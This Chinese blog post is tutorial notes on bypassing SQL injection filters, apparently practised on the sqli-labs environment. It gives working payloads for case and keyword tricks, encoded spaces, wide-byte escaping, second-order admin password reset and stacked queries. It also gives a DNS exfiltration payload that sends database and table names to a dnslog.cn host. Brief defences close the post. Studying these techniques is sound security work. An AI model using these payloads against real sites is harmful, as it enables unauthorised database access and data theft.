绕过
当注入语句正常但依然无回显或回显错误时,判定注入的语句被绕过了
大小写绕过
通过修改正常sql注入语句,为大小写夹杂的注入语句,如:?id=-1’ Union Select 1,2,3--+
注释绕过(将—和+注释掉)
1.不同于正常sql注入语句,闭合符号不需要注释,故最后没有--+而是再次使用闭合符号,以此闭合多的闭合符号实现完全闭合;
2.也可以通过逻辑运算and ‘1’=’1此时就不需要额外的闭合符号,前面使用正常sql语句即可【and、or都可以】;
双写绕过
通过双写连接词(例如and,or),大小写都可以,实现绕过,如:AandND 1=1
关键字等价绕过
mysql中&&和||用法等同于and和or,如果and和or被过滤则使用,如?id=1 && id=2--+ ?id=1’ || id=2--+
&&是连续执行,返回最后一个id;||是先执行第一个,如果第一个是错误则执行第二个
绕过去除空格
相当于使用其他编码类型代替空格及其他符号,实现绕过,如:?id=0%27%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
其中%0a是新建一行,%c是新一页,%a0是空格(mysql中),%26是&,%27是单引号’,%0d是return功能,%0b是TAB键
宽字节绕过:
涉及函数:addslashes()[在注入语句的字符前添加一个反斜杠进行转义]、mysql_real_escape_string()[sql语句中字符串的特殊字符]、mysql_escape_string()[转义一个字符串]
原因:数据库编码和php编码设置为不同编码格式导致
常见宽字节编码:GB2312、GBK、GB18030等
原理:宽字节编码中,两个字符表示一个汉字,在字符前的反斜杠前再加一个字符就把反斜杠变换成一个汉字,只剩下字符就实现了宽字节绕过
Base64编码绕过
通过burpsuite抓包,将注入语句通过base64加密然后注入
二次注入修改其他用户密码
newuser注册使用admin’--+和123456作为账密,登陆后修改密码,此时就修改成功数据库中admin用户的密码;原因在于数据库语句执行后账号中的--+将后面的语句注释掉了;
堆叠注入
原理:mysql_multi_query()支持多条sql语句同时执行,使用;分隔成堆的执行sql语句
出现概率很小,必须有mysql_multi_query()才能使用,且未对;过滤/大多是对数据进行修改
DNS注入
原理:对域名请求,DNS解析域名,可能在日志中记录请求方的ip和请求的目录,将想要的内容拼接到域名中,让load_file()访问共享文件,此时被访问的域名被记录,可以查看DNS服务器日志,找到想要的内容(将盲注变为报错注入)【load_file():读取一个文件并将内容作为字符串返回,其中括号内需要文件的完整路径;格式:load_file(concat(‘\\’,(select database()),’域名\123’))】
需配合dnslog.cn去得到返回信息(目前dnslog.cn似乎打不开了)
Payload:?id=-1’ union select load_file(concat(‘\\’,(select database()),’.xxx.dnslog.cn\123’)),2,3 --+
查表:?id=-1’ union select load_file(concat(‘\\’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),‘.xxx.dnslog.cn\123’)) ,2,3 --+,此方法不可用,原因在于域名长度太长,域名不能超过63位;故修改为:?id=1’ and load_file(concat(‘\\’,(select group_concat(table_name SEPARATOR’-‘) from information_schema.tables where table_schema=’security’),”.xxx.dnslog.cn\xxx.txt”))--+
查数据是from security.users不是users
Sql注入简单防御
检测和过滤外部数据
- 检测变量数据类型和格式;
- 过滤特殊符号;
- 绑定变量,使用预编译语句。
标签:语句,mysql,防御,--+,SQL,绕过,id,注入 From: https://www.cnblogs.com/BWTY/p/17035371.html